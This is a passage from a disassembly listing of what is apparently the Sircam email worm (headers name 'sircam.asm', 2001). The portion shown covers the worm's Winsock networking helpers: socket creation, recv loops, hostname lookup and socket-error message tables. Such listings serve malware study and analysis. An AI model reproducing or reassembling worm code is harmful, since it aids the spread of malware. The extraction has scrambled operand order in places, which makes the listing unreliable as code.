mov dword ptr [esi+28h], 2749h jmp short loc_40FCD3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 loc_40FCCA: 449 ; CODE XREF: sub_40FC90+2F\030j mov mov call edx, eax eax, esi sub_40FF88 loc_40FCD3: ; CODE XREF: sub_40FC90+38\030j mov bl, [esp+0] jmp short loc_40FCDF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40FCD8: mov ; CODE XREF: sub_40FC90+19\030j dword ptr [esi+28h], 274Ch loc_40FCDF: sub_40FC90 ; CODE XREF: sub_40FC90+46\030j mov call mov pop pop pop pop retn endp eax, esi sub_40FF9C eax, ebx edx edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40FCF0 proc near var_420 var_41C var_418 var_411 var_10 var_C var_8 var_4 = = = = = = = = ; DATA XREF: CODE:0040F85C\030o ; CODE:0040F8EC\030o dword ptr -420h dword ptr -41Ch dword ptr -418h byte ptr -411h dword ptr -10h dword ptr -0Ch dword ptr -8 dword ptr -4 push mov add push push push xor mov mov mov mov mov mov mov xor push push push mov lea call lea mov xor mov xor ebp ebp, esp esp, 0FFFFFBE0h ebx esi edi ebx, ebx [ebp+var_420], ebx [ebp+var_41C], ebx [ebp+var_418], ebx [ebp+var_C], ebx [ebp+var_8], ecx [ebp+var_4], edx edi, eax eax, eax ebp offset loc_40FEDB dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_C] sub_4034C8 eax, [ebp+var_411] [ebp+var_10], eax eax, eax [edi+28h], eax ebx, ebx sircam.asm Fri Aug 10 12:42:44 2001 loc_40FD41: 450 cmp jnz mov call mov test jnz mov ; CODE XREF: sub_40FCF0+15A\031j dword ptr [edi+30h], 0 loc_40FDD4 eax, edi sub_41005C esi, eax esi, esi short loc_40FD5D esi, 1 cmp jle mov esi, 400h short loc_40FD6A esi, 400h loc_40FD5D: ; CODE XREF: sub_40FCF0+66\030j loc_40FD6A: ; CODE XREF: sub_40FCF0+73\030j cmp esi, 1 jnz short loc_40FD91 mov edx, [ebp+var_4] mov eax, edi mov ecx, [eax] call dword ptr [ecx+14h] mov ebx, eax cmp dword ptr [edi+28h], 0 jnz loc_40FE50 lea eax, [edi+30h] mov edx, ebx call sub_403670 jmp short loc_40FDD4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40FD91: push push mov push mov push call mov mov mov call test jnz mov ; CODE XREF: sub_40FCF0+7D\030j 0 esi eax, [ebp+var_10] eax eax, [edi+4] eax j_recv ebx, eax edx, ebx eax, edi sub_40FF88 ebx, ebx short loc_40FDB7 dword ptr [edi+28h], 2749h cmp jnz mov lea mov call ; CODE XREF: sub_40FCF0+BE\030j dword ptr [edi+28h], 0 loc_40FE50 [ebp+ebx+var_411], 0 eax, [edi+30h] edx, [ebp+var_10] sub_403680 loc_40FDB7: loc_40FDD4: ; CODE XREF: sub_40FCF0+55\030j ; sub_40FCF0+9F\030j mov mov call mov test jg mov call mov edx, [edi+30h] eax, offset dword_40FEF4 sub_4039B4 esi, eax esi, esi short loc_40FDF1 eax, [edi+30h] sub_403724 esi, eax lea ; CODE XREF: sub_40FCF0+F5\030j eax, [ebp+var_418] loc_40FDF1: sircam.asm Fri Aug 10 12:42:44 2001 451 push mov dec mov mov call mov lea call mov mov lea mov mov call lea mov call mov lea call cmp jnz eax ecx, esi ecx edx, 1 eax, [edi+30h] sub_40392C edx, [ebp+var_418] eax, [ebp+var_C] sub_40372C eax, [edi+30h] bl, [eax+esi-1] eax, [edi+30h] ecx, esi edx, 1 sub_40396C eax, [ebp+var_41C] edx, ebx sub_403670 edx, [ebp+var_41C] eax, [ebp+var_C] sub_40372C bl, 0Ah loc_40FD41 cmp jnz lea mov call mov lea call mov mov call mov test jle lea push mov dec mov mov call ; CODE XREF: sub_40FCF0+8F\030j ; sub_40FCF0+CB\030j dword ptr [edi+28h], 0 short loc_40FEA6 edx, [ebp+var_420] eax, [ebp+var_C] sub_406F20 edx, [ebp+var_420] eax, [ebp+var_C] sub_403560 edx, [ebp+var_C] eax, offset dword_40FF00 sub_4039B4 esi, eax esi, esi short loc_40FE99 eax, [ebp+var_C] eax ecx, esi ecx edx, 1 eax, [ebp+var_C] sub_40392C loc_40FE50: loc_40FE99: ; CODE XREF: sub_40FCF0+193\030j mov eax, [ebp+var_8] mov edx, [ebp+var_C] call sub_40351C jmp short loc_40FEAE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40FEA6: ; CODE XREF: sub_40FCF0+164\030j mov call eax, [ebp+var_8] sub_4034C8 mov call xor pop pop pop mov push ; CODE XREF: sub_40FCF0+1B4\030j eax, edi sub_40FF9C eax, eax edx ecx ecx fs:[eax], edx offset loc_40FEE2 loc_40FEAE: loc_40FEC2: ; CODE XREF: CODE:0040FEE0\031j sircam.asm Fri Aug 10 12:42:44 2001 sub_40FCF0 lea eax, [ebp+var_420] mov edx, 3 call sub_4034EC lea eax, [ebp+var_C] call sub_4034C8 retn endp ; sp = -434h 452 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40FEDB: ; DATA XREF: sub_40FCF0+2E\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40FEC2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40FEE2: ; DATA XREF: sub_40FCF0+1CD\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 1 dword_40FEF4 dd 0Ah, 0FFFFFFFFh, 2 ; DATA XREF: sub_40FCF0+E7\030o dword_40FF00 dd 0A0Dh ; DATA XREF: sub_40FCF0+185\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40FF04 proc near sub_40FF04 push push mov push push push mov push call mov mov mov call mov call mov pop pop retn endp ; DATA XREF: CODE:0040F860\030o ; CODE:0040F8F0\030o ebx esi ebx, eax 2 ecx edx eax, [ebx+4] eax j_recv esi, eax edx, esi eax, ebx sub_40FF88 eax, ebx sub_40FF9C eax, esi esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40FF2C proc near push push push push mov mov mov xor mov ebx esi edi ecx edi, esi, byte ebx, edx, ; DATA XREF: CODE:0040F864\030o ; CODE:0040F8F4\030o edx eax ptr [esp+0], 0 ebx edi sircam.asm Fri Aug 10 12:42:44 2001 mov call test jz push push lea push mov push call test jnz mov 453 eax, esi sub_410100 al, al short loc_40FF72 2 1 eax, [esp+8] eax eax, [esi+4] eax j_recv eax, eax short loc_40FF64 dword ptr [esi+28h], 2749h loc_40FF64: ; CODE XREF: sub_40FF2C+2F\030j mov edx, eax mov eax, esi call sub_40FF88 mov bl, [esp+0] jmp short loc_40FF79 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40FF72: mov ; CODE XREF: sub_40FF2C+19\030j dword ptr [esi+28h], 274Ch loc_40FF79: sub_40FF2C ; CODE XREF: sub_40FF2C+44\030j mov call mov pop pop pop pop retn endp eax, esi sub_40FF9C eax, ebx edx edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40FF88 proc near ; CODE XREF: sub_40F908+3D\030p ; sub_40FAD4+51\030p ... push ebx mov ebx, eax inc edx jnz short loc_40FF95 call j_WSAGetLastError jmp short loc_40FF97 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40FF95: ; CODE XREF: sub_40FF88+4\030j xor eax, eax mov pop retn endp [ebx+28h], eax ebx loc_40FF97: sub_40FF88 ; CODE XREF: sub_40FF88+B\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40FF9C proc near ; CODE XREF: sub_40F908+44\030p ; sub_40FAA4+1A\030p ... sircam.asm var_14 var_10 var_C var_8 var_4 Fri Aug 10 12:42:44 2001 = = = = = dword ptr -14h byte ptr -10h dword ptr -0Ch byte ptr -8 dword ptr -4 push mov add push push xor mov mov xor push push push mov cmp jz cmp jz lea mov call mov mov mov mov mov mov lea push push mov mov mov call mov mov mov lea mov call mov call ebp ebp, esp esp, 0FFFFFFECh ebx esi edx, edx [ebp+var_4], edx ebx, eax eax, eax ebp offset loc_41002B dword ptr fs:[eax] fs:[eax], esp byte ptr [ebx+34h], 0 short loc_410015 dword ptr [ebx+28h], 0 short loc_410015 edx, [ebp+var_4] eax, [ebx+28h] sub_4101AC eax, [ebx+28h] [ebp+var_14], eax [ebp+var_10], 0 eax, [ebp+var_4] [ebp+var_C], eax [ebp+var_8], 0Bh eax, [ebp+var_14] eax 1 ecx, offset aTcpIpSocketErr ; "TCP/IP socket error %d: %s" dl, 1 eax, ds:off_40F78C sub_40948C esi, eax eax, [ebx+28h] [esi+0Ch], eax eax, [esi+10h] edx, [ebp+var_4] sub_40351C eax, esi sub_402F98 loc_410015: ; CODE XREF: sub_40FF9C+21\030j ; sub_40FF9C+27\030j xor pop pop pop mov push eax, eax edx ecx ecx fs:[eax], edx offset loc_410032 loc_410022: sub_40FF9C 454 ; CODE XREF: CODE:00410030\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -2Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41002B: ; DATA XREF: sub_40FF9C+12\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_410022 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 455 loc_410032: ; DATA XREF: sub_40FF9C+81\030o pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd 0FFFFFFFFh, 1Ah aTcpIpSocketErr db ’TCP/IP socket error %d: %s’,0 ; DATA XREF: sub_40FF9C+4E\030o align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_41005C sub_41005C proc near push ecx push esp push 4004667Fh mov eax, [eax+4] push eax call j_ioctlsocket mov eax, [esp+0] pop edx retn endp ; CODE XREF: sub_40FCF0+5D\030p ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_410074 proc near var_100 = byte ptr -100h ; CODE XREF: sub_412EA0+50\031p push mov add push push mov xor push push push mov lea mov call push push call test jz push call mov test jz mov mov call ebp ebp, esp esp, 0FFFFFF00h ebx esi esi, edx eax, eax ebp offset loc_4100DF dword ptr fs:[eax] fs:[eax], esp ebx, [ebp+var_100] eax, esi sub_4034C8 0FFh ebx j_gethostname ebx, ebx short loc_4100C0 ebx j_gethostbyname ebx, eax ebx, ebx short loc_4100C0 eax, esi edx, [ebx] sub_403680 cmp jnz ; CODE XREF: sub_410074+35\030j ; sub_410074+41\030j dword ptr [esi], 0 short loc_4100D1 loc_4100C0: sircam.asm Fri Aug 10 12:42:44 2001 456 mov mov call eax, esi edx, offset dword_4100F4 sub_40351C xor pop pop pop mov push ; CODE XREF: sub_410074+4F\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_4100E6 loc_4100D1: locret_4100DE: ; CODE XREF: sub_410074+70\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4100DF: ; DATA XREF: sub_410074+10\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_4100DE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4100E6: sub_410074 ; CODE XREF: sub_410074+6A\030j ; DATA XREF: sub_410074+65\030o pop pop mov pop retn endp esi ebx esp, ebp ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd 0FFFFFFFFh, 9 dword_4100F4 dd 2E373231h, 2E302E30h, 31h ; DATA XREF: sub_410074+53\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_410100 proc near var_10C var_108 var_104 = dword ptr -10Ch = dword ptr -108h = byte ptr -104h push push push add mov mov mov mov cdq idiv imul mov mov mov cdq idiv mov mov inc jnz xor loc_410135: lea call ebx esi edi esp, ecx, edi, eax, ebx, ; CODE XREF: sub_40FC90+12\030p ; sub_40FF2C+12\030p 0FFFFFEF4h edx eax ecx 3E8h ebx eax, edx, 3E8h [esp+10Ch+var_108], eax eax, ecx ebx, 3E8h ebx [esp+10Ch+var_10C], eax esi, esp ecx short loc_410135 esi, esi ; CODE XREF: sub_410100+31\030j eax, [esp+10Ch+var_104] sub_40F6C4 sircam.asm Fri Aug 10 12:42:44 2001 lea mov call push push push lea push push call mov mov mov call cmp jz xor edx, [esp+10Ch+var_104] eax, [edi+4] sub_40F6B4 esi 0 0 eax, [esp+118h+var_104] eax 0 j_select esi, eax edx, esi eax, edi sub_40FF88 dword ptr [edi+28h], 0 short loc_41016E esi, esi test setnle mov call mov add pop pop pop retn endp esi, esi bl eax, edi sub_40FF9C eax, ebx esp, 10Ch edi esi ebx loc_41016E: sub_410100 457 ; CODE XREF: sub_410100+6A\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_410188 sub_410188 proc near ; DATA XREF: CODE:0040F8D4\030o push ebx mov ebx, eax push 6 push 1 push 2 call j_socket mov [ebx+4], eax mov dword ptr [ebx+2Ch], 6 mov eax, ebx call sub_40FAA4 pop ebx retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4101AC proc near var_4 = dword ptr -4 push mov push push push mov mov ebp ebp, esp 0 ebx esi esi, edx ebx, eax ; CODE XREF: sub_40FF9C+2F\030p sircam.asm Fri Aug 10 12:42:44 2001 458 xor eax, eax push ebp push offset loc_41074A push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ebx cmp eax, 2745h jg loc_4102AC jz loc_41056C cmp eax, 2738h jg loc_410267 jz loc_41048F cmp eax, 2728h jg short loc_41023E jz loc_410429 cmp eax, 271Dh jg short loc_410225 jz loc_4103F6 sub eax, 1 jb loc_4103C3 sub eax, 2713h jz loc_4103D4 sub eax, 5 jz loc_4103E5 jmp loc_410711 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410225: ; CODE XREF: sub_4101AC+4F\030j sub eax, 271Eh jz loc_410407 sub eax, 8 jz loc_410418 jmp loc_410711 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41023E: ; CODE XREF: sub_4101AC+42\030j add eax, 0FFFFD8CDh ; switch 5 cases cmp eax, 4 ja loc_410711 ; default jmp ds:off_410253[eax*4] ; switch jump ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_410253 dd offset loc_41043A ; DATA XREF: sub_4101AC+A0\030r dd offset loc_41044B ; jump table for switch statement dd offset loc_41045C dd offset loc_41046D dd offset loc_41047E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410267: ; CODE XREF: sub_4101AC+31\030j add eax, 0FFFFD8C7h ; switch 12 cases cmp eax, 0Bh ja loc_410711 ; default jmp ds:off_41027C[eax*4] ; switch jump ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_41027C dd offset loc_4104A0 ; DATA XREF: sub_4101AC+C9\030r dd offset loc_4104B1 ; jump table for switch statement dd offset loc_4104C2 dd offset loc_4104D3 dd offset loc_4104E4 dd offset loc_4104F5 dd offset loc_410506 dd offset loc_410517 dd offset loc_410528 dd offset loc_410539 dd offset loc_41054A dd offset loc_41055B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4102AC: ; CODE XREF: sub_4101AC+20\030j cmp eax, 2752h sircam.asm Fri Aug 10 12:42:44 2001 459 jg short loc_4102FE jz loc_410649 add eax, 0FFFFD8BAh ; switch 12 cases cmp eax, 0Bh ja loc_410711 ; default jmp ds:off_4102CE[eax*4] ; switch jump ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_4102CE dd offset loc_41057D ; DATA XREF: sub_4101AC+11B\030r dd offset loc_41058E ; jump table for switch statement dd offset loc_41059F dd offset loc_4105B0 dd offset loc_4105C1 dd offset loc_4105D2 dd offset loc_4105E3 dd offset loc_4105F4 dd offset loc_410605 dd offset loc_410616 dd offset loc_410627 dd offset loc_410638 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4102FE: ; CODE XREF: sub_4101AC+105\030j cmp eax, 276Ch jg short loc_410384 jz loc_4106BD add eax, 0FFFFD8ADh ; switch 25 cases cmp eax, 18h ja loc_410711 ; default jmp ds:off_410320[eax*4] ; switch jump ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_410320 dd offset loc_41065A ; DATA XREF: sub_4101AC+16D\030r dd offset loc_41066B ; jump table for switch statement dd offset loc_41067C dd offset loc_41068D dd offset loc_41069E dd offset loc_410711 dd offset loc_410711 dd offset loc_410711 dd offset loc_410711 dd offset loc_410711 dd offset loc_410711 dd offset loc_410711 dd offset loc_410711 dd offset loc_410711 dd offset loc_410711 dd offset loc_410711 dd offset loc_410711 dd offset loc_410711 dd offset loc_410711 dd offset loc_410711 dd offset loc_410711 dd offset loc_410711 dd offset loc_410711 dd offset loc_410711 dd offset loc_4106AF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410384: ; CODE XREF: sub_4101AC+157\030j cmp eax, 2AFAh jg short loc_4103AC jz loc_4106E7 sub eax, 276Dh jz loc_4106CB sub eax, 38Ch jz loc_4106D9 jmp loc_410711 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4103AC: ; CODE XREF: sub_4101AC+1DD\030j sub eax, 2AFBh sircam.asm Fri Aug 10 12:42:44 2001 460 jz loc_4106F5 dec eax jz loc_410703 jmp loc_410711 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4103C3: ; CODE XREF: sub_4101AC+5A\030j mov eax, esi mov edx, offset dword_410760 call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4103D4: ; CODE XREF: sub_4101AC+65\030j mov eax, esi mov edx, offset aInterruptedSys ; "Interrupted system call" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4103E5: ; CODE XREF: sub_4101AC+6E\030j mov eax, esi mov edx, offset aBadFileNumber ; "Bad file number" call sub_40351C jmp loc_410734 ; 